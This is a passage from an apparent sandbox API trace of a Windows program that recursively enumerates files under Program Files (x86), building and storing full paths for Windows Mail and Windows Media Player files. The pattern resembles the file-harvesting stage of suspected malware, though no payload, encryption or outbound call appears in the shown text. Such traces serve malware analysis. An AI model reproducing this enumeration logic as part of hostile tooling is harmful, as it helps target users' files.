(lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\*") returned="c:\\Program Files (x86)\\Windows Mail\\*" [0120.190] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0120.377] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.377] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.377] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.378] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.378] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.378] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0120.378] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0120.378] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.378] lstrlenW (lpString="en-US") returned 5 [0120.378] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US") returned="c:\\Program Files (x86)\\Windows Mail\\en-US" [0120.378] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\" [0120.378] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0120.378] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0120.378] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.378] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.378] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.378] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.378] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.378] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.378] lstrcmpW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0120.378] lstrcmpW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0120.378] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0120.378] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0120.378] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0120.378] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned 57 [0120.378] lstrcpyW (in: lpString1=0x24a5af8, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0120.378] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.378] lstrcmpW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0120.378] lstrcmpW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0120.378] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0120.378] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0120.378] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0120.378] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned 57 [0120.378] lstrcpyW (in: lpString1=0x24a5b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0120.378] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.378] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="msoe.dll", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="msoe.dll", lpString2="..") returned 1 [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.379] lstrlenW (lpString="msoe.dll") returned 8 [0120.379] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned 44 [0120.379] lstrcpyW (in: lpString1=0x24a79e0, lpString2="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.379] lstrlenW (lpString="MSOERES.dll") returned 11 [0120.379] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned 47 [0120.379] lstrcpyW (in: lpString1=0x24a7a48, lpString2="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="oeimport.dll", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="oeimport.dll", lpString2="..") returned 1 [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.379] lstrlenW (lpString="oeimport.dll") returned 12 [0120.379] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned 48 [0120.379] lstrcpyW (in: lpString1=0x24a4a30, lpString2="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="wab.exe", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="wab.exe", lpString2="..") returned 1 [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.379] lstrlenW (lpString="wab.exe") returned 7 [0120.379] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned 43 [0120.379] lstrcpyW (in: lpString1=0x24a7ab0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="wabfind.dll", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="wabfind.dll", lpString2="..") returned 1 [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.379] lstrlenW (lpString="wabfind.dll") returned 11 [0120.379] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned 47 [0120.379] lstrcpyW (in: lpString1=0x24a7b10, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="wabimp.dll", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="wabimp.dll", lpString2="..") returned 1 [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.379] lstrlenW (lpString="wabimp.dll") returned 10 [0120.379] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0120.379] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned 46 [0120.379] lstrcpyW (in: lpString1=0x24a7b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0120.379] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.379] lstrcmpW (lpString1="wabmig.exe", lpString2=".") returned 1 [0120.379] lstrcmpW (lpString1="wabmig.exe", lpString2="..") returned 1 [0120.380] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.380] lstrlenW (lpString="wabmig.exe") returned 10 [0120.380] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0120.380] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned 46 [0120.380] lstrcpyW (in: lpString1=0x24a7be0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0120.380] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.380] lstrcmpW (lpString1="WinMail.exe", lpString2=".") returned 1 [0120.380] lstrcmpW (lpString1="WinMail.exe", lpString2="..") returned 1 [0120.380] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0120.380] lstrlenW (lpString="WinMail.exe") returned 11 [0120.380] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0120.380] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned 47 [0120.380] lstrcpyW (in: lpString1=0x24a7c48, lpString2="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0120.380] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0120.380] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0120.380] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0120.380] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1 [0120.380] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1 [0120.380] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0120.380] lstrlenW (lpString="Windows Media Player") returned 20 [0120.380] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player") returned="c:\\Program Files (x86)\\Windows Media Player" [0120.380] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\") returned="c:\\Program Files (x86)\\Windows Media Player\\" [0120.380] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.380] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\*" [0120.380] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0120.380] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.380] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.380] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.381] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.381] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.381] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0120.381] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0120.381] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.381] lstrlenW (lpString="en-US") returned 5 [0120.381] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US" [0120.381] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\" [0120.381] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.381] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*" [0120.381] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.382] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.382] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.382] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.382] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.382] lstrcmpW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.382] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0120.382] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63 [0120.382] lstrcpyW (in: lpString1=0x24a24b8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0120.382] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.382] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.382] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0120.382] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 66 [0120.382] lstrcpyW (in: lpString1=0x24a7cb0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0120.382] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.382] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.382] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0120.382] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 66 [0120.382] lstrcpyW (in: lpString1=0x24a7d40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0120.382] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.382] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.382] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0120.382] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned 64 [0120.382] lstrcpyW (in: lpString1=0x24a7dd0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0120.382] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.382] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.382] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0120.382] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0120.382] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned 68 [0120.382] lstrcpyW (in: lpString1=0x24a7e60, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0120.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.383] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0120.383] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.383] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0120.383] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 66 [0120.383] lstrcpyW (in: lpString1=0x24a7ef8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0120.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.383] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0120.383] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.383] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0120.383] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned 73 [0120.383] lstrcpyW (in: lpString1=0x24a7f88, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0120.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.383] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0120.383] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.383] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0120.383] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned 66 [0120.383] lstrcpyW (in: lpString1=0x24a8028, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0120.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.383] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0120.383] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0120.383] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0120.383] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0120.383] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned 66 [0120.383] lstrcpyW (in: lpString1=0x24a80b8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0120.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.383] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.384] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.384] lstrcmpW (lpString1="Icons", lpString2=".") returned 1 [0120.384] lstrcmpW (lpString1="Icons", lpString2="..") returned 1 [0120.384] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.384] lstrlenW (lpString="Icons") returned 5 [0120.384] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Icons" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons" [0120.384] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\" [0120.384] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned 50 [0120.384] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media 